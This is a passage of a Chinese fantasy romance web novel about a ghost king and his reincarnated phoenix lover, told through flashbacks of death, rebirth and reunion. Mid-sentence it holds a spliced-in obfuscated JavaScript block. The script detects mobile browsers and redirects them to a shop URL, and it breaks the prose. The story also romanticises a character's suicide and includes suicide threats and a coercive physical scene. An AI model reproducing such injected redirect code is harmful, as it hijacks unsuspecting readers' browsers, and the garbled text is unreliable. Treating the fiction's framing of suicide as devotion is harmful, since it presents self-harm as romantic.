“我不属于这里……我不属于这里……我要我的爹娘……是苍梧杀了他们!” “那您知道您为何如此虚弱吗?那是因为您是自我了断的!自杀的鬼魂力才会这般微弱!以及,鬼王喂进您嘴里的不是魄,而是他自己的魂力,不然,就您这般虚弱样子,早就死在忘川河边了!不是鬼王用云家村的性命威胁您,而是您自身泄露的鬼气,吸引的低级邪祟!” 若影的声音如同冰冷的锥子,一字一句凿进云霁白的耳膜。 “这些,鬼王从未向您说过。一是因您记忆全失,说什么您都不会信;二是他怕您知道了,会难过自责。” “鬼王对您想来真心实意,整个鬼界都知。您若不信属下,可以去问任何一只孤魂野鬼,也可以通过您拇指的红线用心去感受,因为另一端连接着鬼王的灵魂。” “倘若您用心去看,不会看不到你们的以前,也不会不知道鬼王对您的感情到底有多深重。” “当然,您也可以选择沉浸在自己的仇恨里,让心和双眼都被蒙蔽。真相就在眼前,您可以选择视而不见。属下只希望,将来真相大白那天,您不会为今日的愚蠢和那一刀后悔终生。” 说完,若影不再看云霁白煞白的脸色,转身,大步离开了寝殿。 殿门再次合拢。 殿内霎时陷入一片死寂,唯有幽蓝的鬼火在无声跳动。 云霁白脱力般跌坐回床榻,若影的话如同魔咒,在他脑海中疯狂回荡。 “不是的……不是的……” 他蜷缩起来,将脸埋入膝盖,身体控制不住地颤抖,“是苍梧……就是他……是你们骗我!” “是他……就是他……”他一遍又一遍地呢喃,像是在拼命说服自己早已动摇的内心。 可是,心骗不了自己。 爱比记忆先一步在身体中苏醒,他终于明白这几日的郁闷是为何,也终于明白为何重伤苍梧时却没有大仇得报的快意。 爱意早已渗透进魂魄的每一寸,在真相的惊雷劈下之前,身体先于意识,为他流下了滚烫的泪。 吱嘎一声,厚重的殿门被推开,昏暗的光顺着缝落进来。 云霁白抬头,看见将头伸进来的若辰,小心翼翼地望着他。 云霁白现在不想看见任何一个鬼:“出去,你出去!” 若辰猛地缩回去,嘭得一声,殿门砸在一起。殿内再次安静,云霁白抱着双腿,蜷缩进床榻的一角,像个被遗弃的小兽。 指根的红线无声飘摇,像挣脱不开的宿命,又像无声的控诉,横亘在两人之间咫尺天涯的距离里。 用心去看…… 26.千年间的等待 用心去看……他需要静下心来,通过这根红线,用心去看。 集中注意力,用心去看,用心去感受…… 云霁白看见千年前的那场大战,幽蓝色的火焰焚烧着他的身体,冰冷的铁链锁着他的四肢,让他呈“大”字形浮在空中。 业火来势汹汹,不过片刻,护体的灵光溃散,他被迫现出凤凰原形——华美的翎羽在烈焰中卷曲焦黑。 好疼。好热。 他要死了吗? 他没有维持人形的力气,五脏六腑像是在滚油中翻腾,翅膀与下肢传来骨骼几欲被锁链扯断的嘎吱声响。 好难受。 真的好难受。 父亲,爹爹…… 在业火即将彻底吞噬他灵识的最后一瞬,头顶三支凤翎猝然迸发出撕裂黑暗的璀璨金光!那光芒温煦而磅礴,硬生生抵住了周遭毁灭性的灼热。 金光之中,两道熟悉的身影毅然显现,挡在了他与滔天业火之间——正是父亲凤于天与爹爹求凰! 原来,他额顶这三支凤翎,并非寻常翎羽,而是凤于天与求凰当年留给他最后的庇护——他们的护心翎!他降生之时,求凰通过占卜,知他命中有一死劫,于是和凤于天商议,各自取下最为珍贵的护心翎,悄然炼入幼子的灵魂深处。 这份以爱为名的守护,沉默地陪伴他千年,只为在此刻,为他争得一线生机。 凤于天呲牙咧嘴:“我要顶不住了!这是什么歪门邪术!怎么那么疼!” 求凰道:“闭嘴!你松懈一分,儿子就可能会命丧于此,顶不住也要顶!” 凤于天道:“小汤圆!爸爸真的很爱你。” 分身使用全部力量,抵挡业火的攻击。 求凰趁机挥手,斩断困住凤渊的锁链:“我比你爸更爱你。” “……” 凤于天的分身爆发出最后的金芒,如同燃烧的太阳,将大部分业火硬生生扛住,身影却在烈焰中迅速虚化、消散,只留下那句带着笑的“小汤圆!爸爸真的很爱你”在炽热空气中回荡。 求凰在斩断锁链的瞬间,也被幽蓝火焰反噬,吞灭。华丽的凤凰羽翼焦黑卷曲,但他死死抱住显出原形、奄奄一息的凤渊,用最后的灵力形成一个脆弱的保护罩。 “小汤圆……” 求凰的声音温柔得不可思议,嘴角溢出血沫,轻轻啄了啄凤渊的喙,“别怕,爹爹在。” 他的身躯在业火中逐渐透明,护心翎的光芒却越发璀璨,源源不断地注入凤渊体内,护住他最后的心脉和灵识。 “记住……活下去……爹爹和父亲……永远……” 未尽的话语消散在火光里,求凰的身影也化作了漫天光点,融入护心翎的光芒之中,彻底湮灭。 三支护心翎爆发出前所未有的炽烈光芒,终于暂时逼退了业火,裹挟着昏迷的凤渊,坠向无底的深渊。 凤渊耳垂上,那枚苍梧所赠的玉石耳坠悄然脱落,化作一缕精纯鬼气,承载住他虚弱飘散的魂魄,护着他悄然逃离了苍梧布下的封印大阵。 此时,苍梧正独自立于西南地界的焦土之上,身后是缓缓落成的巨大封印。耳边仿佛还萦绕着众仙虚伪的恭贺:“恭喜鬼王,一战成名。” 凤渊都不在了,他要这些虚名干什么呢。 他的目光落在插在大地裂缝中的问情剑上。剑身已尽数没入地下,只余染血的剑柄与孤零零的剑穗在风中飘摇,就像他一样,被遗弃在这荒芜之地。 “苍梧……” 这声音,这声音是凤渊!凤渊的声音! 苍梧猛然回头,身后却只有未散的硝烟。瞧瞧啊……凤渊离开不过一刻,他就开始发疯了。 大地裂隙开始无声闭合,一道幽光悄无声息飞出来。嗖!问情剑全部没入地底,就连剑穗都不见了。 像是一点念想都不留给苍梧。 “苍梧啊……” 苍梧眼角无声滚落一颗泪,真是疯了。 “苍梧,我在你头顶。” 苍梧猛然抬头,看见黑雾携裹着一只小小的火红色的凤凰。那黑雾就是他留给凤渊的那枚耳坠……那个大阵无比凶狠,单靠他分身的力量是不足以抵抗的,凤渊是怎么活下来的。 凤渊笑道:“傻了?快接住我呀。” 苍梧伸手,鬼气消散,小凤凰落入他怀中,他喉结上下滚动,他掐着自己的手心,努力让自己不在凤渊面前落泪,可是失而复得的巨大喜悦如同浪潮将他迅速淹没,忍了又忍,手心都被掐破了,还是没忍住:“我还以为……再也见不到你了。” 凤渊道:“我爹爹算到命中有一劫,所以留了护心翎在我身上,关键时刻可以护下我一命。” 他只剩魂魄,身体在阵中封印着。 也多亏了苍梧留在他身上的那枚耳坠,不然他的魂魄也不可能从阵中出来,只能等死了。 啪嗒啪嗒。 冰冷的水砸在头顶,凤渊抬头看见,伟大的骄傲的鬼王竟然哭了。他扑棱着翅膀,擦掉苍梧脸上的泪水:“对不起,让你承受了不该承受的。” 当时情况危急,他宁愿败在苍梧手下,也不愿成为仙界那帮无耻之徒的败将。 “下雨了……”苍梧讷讷道。 鬼王还是一如既往的好面子,凤渊觉得好笑,但是一笑震得心肺都疼,咳嗽了几声:“行,那我们早点回去。” 仿佛他们没有经历生死离别,而是在谈论一件再平常不过的小事。 听见他细微的咳嗽声,苍梧抱紧了他,眼神中的关切都快要溢出来:“怎么样?哪里不舒服?” 凤渊摇头:“被口水呛到了,走吧,我们回去吧。” 苍梧看着他,沉默好久,才开口:“你早就猜到凶兽异动是假,想要你性命是真,对吧?” 凤渊一愣,似乎没想到苍梧这么快就察觉到端倪:“是,靠近西南地界,问情突然失控的那瞬间,我就知道了。所有的一切都是他们制造出来的假象,只有想要我命是真的。我不理解……我真的不懂……我什么都给他们了,他们却还是要置我于死地。” “我现在不想说这些。”凤渊将脑袋靠在他掌心,声音低微,“带我回去吧……回鬼界。” 他怕再说下去,苍梧会冲到仙界替他讨要一个公道。仙鬼两界平衡不可打破,若是苍梧冲动,定会受到天罚。 他不愿看见苍梧受伤。 苍梧眼底掠过一丝嗜血的杀意,但终究什么也没说,只是小心翼翼地将小凤凰护在怀中,沉默地返回了鬼界。 凤渊魂魄受损严重,回到鬼界便陷入了昏迷。苍梧将他的魂魄置于安魂炉中温养,寸步不离地守着,直到第三日,凤渊醒来。 第三日,凤渊醒来,未恢复人形,反而变得更小了。小小一个,雄赳赳,气昂昂的站在苍梧肩头,大声叫着:“我是鸟大王!见了鸟大王还不下跪!” 苍梧一愣,魂魄受损,记忆受到影响,变得混乱了,大概是凤渊小时候的记忆。 凤渊用翅膀拍拍苍梧的脸,示意他快点喊。 旁边站着的鬼将吓得大气不敢喘,放眼整个三界,谁敢如此大胆拍鬼王的脸啊。他们颤颤巍巍跪在地上,唯恐苍梧生气。 苍梧却笑了,纵容道:“拜见鸟大王,请问有什么吩咐吗?” 本以为开玩笑的。 谁知道接下来的几天,坐在鬼王之位处理大小公事的还真是这位小小的鸟大王。真正的鬼王却沦落到站在一旁成为出谋划策的那个。 鬼臣们过得战战兢兢,这简直倒反天罡。谁知道他们鬼王却一脸甜蜜,一个鬼王之位而已,只要他家小凤凰开心,要星星都给摘下来。 七天后,凤渊的记忆又变了,不是鸟大王了,而是威风凛凛的战神。苍梧站在一旁看着,那是他没见过的凤渊,意气风发,宛若不灭的太阳。 又过七天,凤渊的记忆变了,这次是没有权利躲在梧桐林喝酒的凤渊。苍梧见了只是心疼,他的小凤凰,本该翱翔九天,而非困守方寸之地。 再过七天,凤渊的记忆来到他们相识的那刻,终于记起了苍梧,也终于恢复成人形,只是……魂魄虚弱,身体近乎透明。 直到此时,苍梧才终于明白——大阵终究伤了凤渊的魂魄根本,他确已死在那场阴谋之中。这几十日的相伴,不过是鬼气凝聚的一缕飞魂,一场短暂的回光返照。 “凤渊,怎么回事,哪里不舒服。”一向骄傲自大的鬼王,捧着凤渊的游魂变得手足无措起来。 凤渊抚摸着苍梧的脸庞,笑道:“与你相处这三十日,能与你好好道别我已心满意足。别担心,我们凤凰可是会浴火重生的……麻烦鬼王小师叔,多等我百年了……” 他知道,百年的时间足够忘记一个人。 苍梧道:“说好了相守千年,少一分少一秒都不行。我带着你去找我师傅,他是天道,天道一定会有办法的,和你共享生命,用我的命换你的命,我愿意,我都愿意,只要你能活着。” 凤渊轻轻笑:“傻不傻啊。你身后还有整个鬼界,你身上背负着阴阳平衡的重任,离了你三界会大乱……而且,你不是说过吗,阴阳平衡不可打破,你不会擅自动用你的权力去复活任何一个人。” 这个时候,苍梧哪里会听凤渊的话,不顾凤渊阻拦,抱着凤渊找到天道。 苍梧抱着近乎透明的凤渊,跪在天门前,声嘶力竭:“徒儿苍梧求见师傅!” “师傅!人命关天!求您出来一见!” 凤渊轻轻扯了一下苍梧的衣襟:“算了,我们回去吧,苍梧。最后的时光,我不想浪费在这里。” “师傅,求您见一见徒儿。” 世人都说天道无情,苍梧不觉得,毕竟他被这天道教化点拨,心中还是念着天道的好的。 事实再一次证明。 天道就是无情。 天道的声音自天际传来,空灵而沧桑:“苍梧,阴阳平衡不可打破,你身为鬼界之主,掌管鬼界万年,难道连这些还需要我教你吗?他是将死之人,生死已有定数,我们不可插手。” “定数?”苍梧声嘶力竭,“这叫什么定数?他该死吗?该死的是他吗!?他保护三界,一直以来恪尽职守,从未半分懈怠!是仙界!是天帝!设计加害于他!夺了他的战神印和神祇!要了他的性命!” “你身为天道不可能不知道这些!该死的人不是他!是仙界那帮忘恩负义之人,是天帝那个小人!” 天道再次道:“权利的更迭往往伴随着鲜血与杀戮。鲜血洗去旧尘,杀戮厘清脉络,这不是混乱,是仙界重铸权柄平衡的必经之途。仙界众生皆在秩序框架内各安其命,他不过是权利更迭的牺牲品罢了。” 权力更迭的牺牲品……苍梧冷笑一声:“好,既然您不救,那徒儿救他!徒儿身为鬼界之主,救人的本事还是有的!” 会有办法的。 一定会有办法的。 他身为鬼界之主不可能连救自己爱人的本事都没有。他掌管生和死,他一定能救回凤渊。 一定能。 苍梧抱着凤渊回到鬼界,尝试用鬼界的术法,修复或逆转,可是结果无一例外,每一次都是失败。 他试过以自身魂魄为引,强行修复凤渊的灵魂;试过使用古老的复活术法,试图重塑三魂七魄;试过启动古老的阴阳阵法,企图逆转时间……每一次都是希望开始,却都以更惨烈的失败告终。 他的鬼气在一次次尝试中变得紊乱不堪,而凤渊的残魂,在一次又一次的冲击下,愈发脆弱,连维持基本形态都变得艰难。 “苍梧……没用的……”凤渊的影子飘忽得几乎要看不清了。 苍梧半跪在凤渊身边,手臂支撑着身体,□□,他就不信救不会凤渊,一定还有办法的,一定会有办法的。 凤渊的魂影淡得只剩下一层朦胧的光晕,连传递意念都已不能,唯有一股深切的悲伤与哀求,萦绕在苍梧濒临崩溃的脑海。 “相信我,小凤凰,相信我……”苍梧徒劳地想捧住凤渊的灵魂,手指却一次次穿透过去,“我是鬼界之主,你的生死由我说了算!我一定能救你,你要相信我。” 凤渊闭上眼,眼角滑下若隐若现的泪:“我当然相信你,你可是鬼界最厉害的王。” 经过上百次的尝试后,苍梧终于不再尝试修复或逆转,而是用尽最后的力量,小心翼翼地引导着凤渊那已残破不堪的灵魂,缓缓地进入轮回之境的最深处,就像将一颗干掉的种子,轻轻埋入最肥沃的土壤。 当凤渊的残魂彻底融入轮回之境的柔和光晕中时,苍梧终于力竭,轰然倒在冰冷的玉台边。 这一次他成功了。 以一种他从未想过,也最不愿接受的方式。 不是逆转生死,不是强行挽留。 而是放手,将凤渊送入漫长的充满不确定的轮回,赌一个渺茫的重生之机,以期在一次次往生中,温养修补破碎的灵魂。 “小凤凰……不要忘了苍梧……”苍梧对着轮回之境的方向,嘶哑地吐出几个字,随即彻底陷入黑暗。 自此,便是漫长而无望的分离与等待。 苍梧也曾偷偷窥探他在人间的模样,知道他开心,他也跟着开心,哪怕隔着千里万里,哪怕他并不知道他的存在。 几个春秋冬夏过去,凤渊寿终正寝。 初入鬼界,魂魄茫然。忘川河畔,万千游魂影影绰绰,他却于众生之中,一眼便锁定了那道玄色身影。 所有被轮回碾碎的星光,都在凤渊看向苍梧的这一眼里,重新拼凑成银河。 苍梧立于彼岸花丛中,并未开口。 凤渊穿过熙熙攘攘的魂群,银眸清澈却笃定:“我认得你。” 无需时辰累积,无需记忆佐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926090|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证。 第一面,灵魂深处的记忆已然苏醒。 苍梧紫眸微颤,千年冰封的心湖投下一颗石子。 第二次轮回。 这一世,凤渊忘得更彻底些。 苍梧寻到他时,他正好奇地触碰着鬼界的幽蓝鬼火。 苍梧走近,陪在他身旁,讲述鬼界的事情。两个时辰,短暂如白驹过隙。 当苍梧下意识为他拂去肩头的灰尘时,凤渊忽然抓住他的手腕。 “你的眼睛……”凤渊银眸中闪过一丝极淡的困惑,“我觉得……很熟悉。” 苍梧眼中的倒影,是他看过千百遍,依旧会下意识心动的风景。 记忆的坚冰,裂开第一道微痕。 第三次轮回。 他看着他,目光全然陌生。苍梧压下心口涩意,带他去听千魂壁的回音。 四个时辰,他们并肩而坐,大多沉默。 直到凤渊望着流淌的忘川水,无意识地哼起一段破碎的调子。 那是苍梧只在最安宁时,为他一人吹奏过的曲子。 声音戛然而止。 凤渊愕然转头:“我怎么会这个?” 四个时辰的陪伴,唤醒了深埋在记忆中的音律。 第四次轮回。 苍梧煮茶,凤渊静坐一旁。 当苍梧将茶盏递过去,凤渊竟自然而然地接住,指尖相触,两人俱是一怔。 “好像……”凤渊低头看着茶汤氤氲的热气,“你好像总是这样给我递茶,也总是我喜欢的温度。” 习惯,比记忆更早回归身体。 第五次轮回。 他们行过奈何桥,走过千魂壁。 在一处僻静回廊,凤渊忽然停下,指着壁画上模糊的凤凰图腾。 “这里,”他指尖轻抚过斑驳的壁画,“我们是不是在这里说过很重要的话?” 苍梧安静看着他:“是。你说,纵使轮回千年,此心不改,此情不变。” 八个时辰的游历,如同钥匙,打开了封存记忆的门扉。 第六次轮回。 凤渊显得焦躁不安,仿佛在寻找什么。 苍梧只是默默跟随。 直至夜深,凤渊在辗转中难以入眠,苍梧立于殿外,吹奏起安魂的骨笛。 笛声悠远,凤渊渐渐平静下来,在朦胧中呓语:“苍梧……别走……” 十个时辰的尽头,他的名字,终于在梦中被再次呼唤。 第七次轮回。 他的目光吻过苍梧灵魂的那一刻,凤渊就开始主动询问:“我们过去,是怎样的?” 苍梧便挑些无关痛痒的趣事说与他听。 说到西南曾有异动时,凤渊脸色骤然一白,捂住了心口。 “疼……”他额角渗出冷汗,“那里……很疼……” 十二个时辰的交谈,触及了被封印的伤痛记忆。 第八次轮回。 凤渊看着苍梧处理鬼界事务时紧蹙的眉头,竟下意识伸出手,想将其抚平。 手停在半空,两人皆愣。 “我……”凤渊看着自己的手指,“不想看见你皱眉……你皱眉我也会觉得难过。” 身体的记忆,早已超越了轮回的禁锢。 第九次轮回。 记忆的碎片已如潮水般冲击着凤渊,他时常望着苍梧出神,眼中是挣扎与眷恋。 “我们……”他欲言又止,“是不是相爱过?” 苍梧没有回答,只是轻轻拥住他。 十六个时辰的相守,让爱意本身先于记忆苏醒。 第十次轮回。 这是最后一次轮回,也是记忆封印最坚固的一次。直到最后两个时辰,凤渊眼中依旧是一片清明而陌生的淡然。 引魂灯已亮,轮回之路将开。 苍梧立于他面前,紫眸中是沉淀了十世的深情与痛楚,却只是抬手,为他理了理鬓角。 “此去……珍重。” 就在他转身,准备独自承受这漫长离别的刹那—— 凤渊猛地从身后紧紧抱住了他! 所有的记忆,在这最后一刻,轰然回归! “苍梧——!”他声音哽咽,带着跨越十次遗忘的疲惫与狂喜,“我想起来了!全都想起来了!” 想起之后,便是担忧。 他忘记的时间一次比一次长,那么下一次轮回,他又会记得他多久呢? 凤渊看着苍梧:“我不想忘记你,我在人间过得并不好,我常常一个人,我想你……” 苍梧也不想放凤渊走,这不是他说的算,轮回次数不够,灵魂不完整,凤渊便没有办法彻底重生。 他开口,声音涩然:“去吧。” “本王的身体与鬼界紧密相连。” “鬼界有一条河,名叫忘川河,他是人间所有河流的源头。” “若你想本王了,你就在河边喊本王。” “本王能听见。” “本王听见了,便去寻你。” 凤渊强忍着泪水,说了声好,然后踏入轮回之境,开始最后一次轮回。 跨过这条河,就可以见到他了吗? 云霁白沿着河岸疯狂奔跑。 河道弯曲,没有尽头。 他看不清前路,他脑海里只剩一个念头,跨过这条河,就可以见到他了。 他跑啊跑。 跑啊跑。 不慎失足落水。 落水的前一刻,他听见有人喊他的名字:“小凤凰,本王来接你回家。” 他没有挣扎,任由冰冷的河水灌进他的身体,他太想苍梧了,最后一次轮回,他提前结束了在人间的生命。 原来,并非被迫。 而是心甘情愿的奔赴。 是他自己忘了,错怪了自己的爱人。 云霁白猛然从睡梦中惊醒,泪水不知何时糊了满脸,枕头也湿了大片,这梦是真是假……为何那么真实。 他喘息未定,指尖却已下意识地蜷起,目光落向自己的拇指,指根环绕着一根鲜艳的红线,耳边回响起若影的话,用心去看…… 从与苍梧结契那日起,这里便多了一条鲜艳的红线,细若游丝,却紧紧缠绕指根,另一端隐没在虚空之中,不知去向何方。 他曾以为,这只是鬼契缔结时的寻常印记。 可此刻,指尖那抹红却艳得刺目,仿佛浸透了谁心头最滚烫的血。 苍梧。 云霁白缓缓攥紧了手指,将那缕红线紧紧握在掌心,仿佛要掐断什么,又仿佛想抓住什么。冰冷的泪水再次无声滑落,没入凌乱的衣襟。 ——你要一命换一命。 对吗? 窗外幽冥殿的长明灯无声摇曳,在他苍白的脸上投下晃动的光影。 那红线,在他掌心微微发烫。 27.计谋 心脏被那些记忆填满,涨得酸软发痛。 云霁白怔怔地看着指尖那抹刺目的红,指尖无意识地摩挲着那细若游丝的红线。触感温热,甚至带着一种微弱的搏动,仿佛是他生命线另一端传来的心跳。 苍梧…… 这两个字在心尖滚过,带来一阵尖锐的痛楚,比梦境中的业火更为灼人。 你真傻。 他在心里无声地说,唇角扯起一丝比哭还难看的弧度。酸涩在胸腔里翻搅,痛得他几乎无法呼吸。 脑海里闪过无数画面,是苍梧沉默凝视他的紫眸,是鬼王殿中他看似强硬却总在细微处妥协的姿态,是那些被他忽略的,深藏在平静表象下的欲言又止。 我说了那么多,你终究一个字没有听进去。上百次疯狂的尝试,上百次锥心噬骨的反噬。只为换回希望渺茫的重生机会。 苍梧啊苍梧,你是不是傻。 直到此刻,他才真正明白。 百年的光阴或许足以让世间大多数人忘记一个人,但苍梧不会。他的时间仿佛停在了失去的那一刻,然后用千年的孤寂,固执地守着一条几乎不可能的归途。 云霁白缓缓闭上双眼,两行泪缓慢而又克制的顺着脸庞滑落。 指根的红线灼热依旧。 它不再仅仅是缱绻的羁绊,更像滚烫的烙印,无声的控诉,清晰无比地昭示着苍梧正在承受着什么。 他能感受到通过红线传递过来的微弱与痛苦,如同风中残烛,明灭不定。 骄傲如你,强大如你,此刻却在无人知晓的角落独自舔舐致命的伤口。而我,却什么都不知道,甚至曾对你心生怨怼。 想起自己的所作所为,以及那句“活该你亲手杀了你爱的人”的恶毒,云霁白心口便传来一阵尖锐的抽痛,几乎让他弯下腰去,冰凉的泪水再次顺着脸颊滑落,滴落在艳红的丝线上,洇开一小片更深暗的痕迹。 这世间,许多债都可以躲,可以逃,可以偿还。 唯独情债。 避无可避,逃无处逃,一旦欠下,便是灵魂相系,生死相缠。 云霁白睁开眼,眼眸中所有的迷茫、痛苦、犹疑,都被想清后的清明与决绝所取代。 我不会让你独自承受。 “若辰。”他开口,声音沙哑。 声音带着自己都未曾察觉的颤抖与急迫。 守在殿外的若辰几乎是立刻推门而入,手中的魂灯因他急促的动作猛地一晃,“鬼后?”他抬头,看见云霁白衣衫凌乱、泪痕未干、面色苍白的模样,顿时一惊,“您怎么了?可是哪里不适?是不是若影伤害您了?我这就去告诉鬼王,让鬼王狠狠惩罚他!太可恶了!竟然敢对您不敬!” “不是,”云霁白却不管这些,他赤脚踩在冰冷的地面上,几步冲到若辰面前,一把抓住若辰的手臂。那力道极大,指尖冰凉,带着细微的颤抖。 “我问你话,”云霁白的声音压得很低,却字字如同从牙缝里逼出,“你要一五一十回答我!不可有隐瞒!” 若辰被他眼中的决绝镇住,立马连连点头:“小的一定知无不言,所有半点隐瞒,便天打雷劈,永世不得超生!” 他默默竖起三根手指,让自己看起来更可信。 “好,我相信你,”云霁白问,“其实我是自杀的对不对?” 若辰支支吾吾,鬼王说过,不允许将这件事告诉鬼后,他要是说了,会被鬼王杀死吗?可是不说的话,鬼后现在这种疯癫的状态,也会把他杀死吧。 云霁白红着眼睛,按住他的肩膀:“你只负责回答是或不是。” 若辰想了想,决定豁出去了,鬼后若是主动跟鬼王和好,鬼王肯定高兴,一高兴兴许就不会追究他的错了。 “是。” 云霁白继续追问:“我的的确确就是死了,回到人间,是灵魂强硬留在身体里,所以灵魂跟尸体相斥,魂气泄露,吸引了云家村附近的邪祟。云家村的邪祟都是我引来的对不对?” 若辰点头:“对。” 云霁白心里明白,这下真是错怪苍梧了。 “那画卷是不是我一百年前留下的?目的是为了想起苍梧?” 若辰诚恳:“是。” 云霁白心里一痛,原来,他是真的真的很爱苍梧。这根红线如此灵验,能向苍梧传递他此刻的感受吗? “苍梧现在在哪?”云霁白逼问,脑海中浮现出梦中那片幽暗与若影回溯光影里的模糊轮廓,“他是不是伤得很重?” 若辰嘴唇翕动,眼神挣扎。 鬼王严令不得透露。 他试探道:“鬼后,您是在担心鬼王吗?” “是。” “那您为什么还要伤害鬼王呢?”若辰道,“小的更觉得您是因为鬼王没死透,想去补刀。” 云霁白脸上闪过一丝尴尬,深吸了一口,自己这都办的什么事! 云霁白脸上的尴尬,被若辰清晰地捕捉到。若辰心下稍定,看来鬼后并非全然无情,至少此刻的担忧应该是真切的。 “鬼后,”若辰斟酌着词句,小心翼翼地说道,“并非小的不肯告知。只是鬼王行踪,尤其是在他受伤之后,怕引起鬼界骚动,严令不得泄露。小的若是说了,恐怕……” 他偷偷打量着云霁白的脸色,见他并无怒意,只是眉头紧锁,眸中焦灼更甚,才继续道:“况且,鬼王如今所在之处,乃是鬼界的禁地,若无鬼王应允或特殊信物,旁人根本无法靠近,强行闯入只会触发禁制,后果不堪设想。” 他顿了顿,观察着云霁白的神情,见他似在思索,便试探着抛出自己真正的想法:“其实鬼王每天都会来看您。” 云霁白猛地抬眸:“什么?” “是真的。”若辰连忙点头,声音压低了些,“就在您睡着的时候。鬼王伤势虽重,但他放不下心您。每次都会站在门外远远的看您一眼,只是每次都不敢久留,更不敢让您察觉。他怕您不想见他。” 云霁白心脏像是被一只无形的手狠狠攥紧,呼吸都窒了一瞬,每天苍梧都会来?他竟然一点都没有察觉到! “所以,”若辰见他不语,鼓起勇气道,“您若真想见鬼王,想知道他的情况……何不等一等?今夜,他一定还会来的。到时候,您亲自问他,不是比从小的这里听说,要好上千百倍吗?” 云霁白沉默良久。指尖的红线在指根微微发烫,仿佛在应和着这个提议,亲自见他……亲自确认他的伤势,亲口说些什么。 那些堆积如山的愧疚,似乎也只有当面,才能理清万分之一。 他终于缓缓点了点头,声音有些沙哑: “好,那我等他。” 他不再追问,也不再逼迫若辰,松开了按在对方肩上的手。他转过身,缓步走回窗边,背对着若辰,目光投向殿外灰暗的天穹。那道背影显得有些单薄。 “若辰,你说一个人有了不属于自己的记忆后,还是自己吗?”云霁白忽然开口。 若辰道:“若影说过,灵魂是同一个灵魂,只是忘记了而已,等到想起来就好了。” “鬼后,我们没有要求您要成为谁,只是想让您想起来,您和鬼王真的很相爱。” “哦,知道了,你下去吧。” 若辰暗自叹了口气,知道这一关暂时是过了。他不敢再多留,躬身行了一礼,悄无声息地退了出去,轻轻带上了殿门。 寝殿内再次只剩下云霁白一人,以及死寂。 等待的时间在沉默中被无限拉长。云霁白没有动,维持着那个姿势,像一尊冰冷的玉雕。只有他自己知道,胸腔里那颗心是如何在焦灼、悔恨中反复煎熬。 指尖的红线始终存在,温热的,搏动的,像一道无声的纽带,也像一个不断提醒他过往愚行的烙印。他能隐约感觉到另一端的气息,微弱与疲惫,却依旧顽强地存在着。 原来,被蒙在鼓里,一厢情愿地恨着,竟是如此愚蠢又残忍。 天色彻底沉入最深的墨黑时,殿内的空气几不可察地波动了一瞬。 来了。 云霁白躺在床上,背脊几不可见地僵直了一瞬,却没有立刻回头。 他能感觉到一道目光落在他背上,带着小心翼翼的审视,以及深藏的、几乎要满溢出来的疲倦与痛楚。那目光停留了片刻,确定他睡着了,才极轻地、近乎无声地靠近。 带着淡淡冷冽气息与一丝难以掩饰的血腥气的影子,缓缓投在他身侧的地面上。 云霁白终于动了。 他极慢地转过身。 烛火摇曳中,苍梧就站在离他几步之遥的地方。依旧是一身玄衣,却掩不住面容的苍白与唇上毫无血色的淡。 他紫眸深处的光华黯淡了许多,周身那属于鬼王的鬼气也收敛到了极致,甚至透出一种重伤后的虚浮。 四目相对。 苍梧显然没料到他会醒着,更没料到他会就这样转过身来直面自己。他紫眸中飞快地掠过一丝愕然,随即是更深的涩然与某种近乎本能的闪避。他下意识地想后退,想如同前几夜那般悄然消失。 “别走。” 云霁白开口了,声音干涩,却不容置疑。 苍梧的脚步顿住。 云霁白的目光缓缓上移,落进苍梧那双此刻盛满了复杂情绪的眼眸里。 空气凝滞,只有魂火在不安地跳动。 云霁白望着苍梧,凤眸中没有波澜,声音也听不出起伏:“我没别的意思,我只是想求你帮我办一件事,当然,整个鬼界也只有你能办到。” 在那漫长的等待中,他想到了自己的复仇计划。而计划的第一步,就是将苍梧踢出局。 天道威严,自然不是他们二人能够忤逆。 听见他这句话,苍梧瞳孔骤然一缩,周身原本收敛的气息瞬间变得危险而汹涌,方才那一丝疲惫脆弱消失无踪,取而代之的是属于鬼王的压迫:“什么事?” 云霁白一字一句:“我不想再过这种生活了,不想和你再继续纠缠下去,杀你我也杀不死,要不你放过我吧,或者你杀了我,我不想充满仇恨的活下去。” 想要彻底弄清前因后果,就必须离开鬼界。留在这里,被苍梧保护着,什么都想不明白。 “你想去哪里?回仙界?还是去人间?”苍梧的声音低沉下来,紫眸深处暗流汹涌,“哪里都不准去。你是本王的鬼后,生死魂魄皆系于此。” “若我一定要离开呢?”云霁白向前一步,决绝道,“你拦得住我一时,拦不住我一世。除非你日日夜夜锁着我,否则——” “否则怎样?”苍梧打断他。 云霁白定定看着他,吐字清晰:“否则,我就死在你面前。你知道,我做得到。” 这句话像冰锥,狠狠刺穿了苍梧竭力维持的冷静。他下颌线条瞬间绷紧,紫眸中翻腾起骇人的风暴,是被触及逆鳞、被最珍视之人以性命相胁的狂怒与恐慌。 “死?”苍梧忽地低笑一声,笑声里却没有半分温度。他猛地伸手,一把攥住云霁白的手腕,力道之大,几乎要捏碎他的骨头,不容分说地将人狠狠拽向身后的床榻。 云霁白猝不及防,跌倒在床面上,尚未起身,一道沉重的阴影已笼罩下来。 苍梧单手撑在他身侧,俯身逼近,另一只手捏住他的下颌,强迫他抬起头。两人鼻尖几乎相抵,呼吸交错,一个冰冷暴戾,一个竭力 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身体放松下来,甚至微微启唇,放任了那带着血腥味的入侵。只是那双眼睛,依旧静静地看着上方失控的鬼王,清澈的眸底深处,慢慢浮起一层悲哀的水光,无声地流淌下来,没入散乱的鬓发。 苍梧的动作猛地一顿。 他尝到了咸涩的液体,看到了云霁白眼角不断涌出的泪,以及那目光中的哀伤。那股毁天灭地的怒意和暴戾,像是被这无声的泪水骤然浇熄,只剩下冰冷刺骨的空洞和钝痛。 他松开了钳制,缓缓直起身,阴影依旧笼罩着云霁白。他抬手,用指腹近乎颤抖地拭去云霁白眼角的泪,动作与方才的粗暴截然不同,带着一种近乎笨拙的小心。 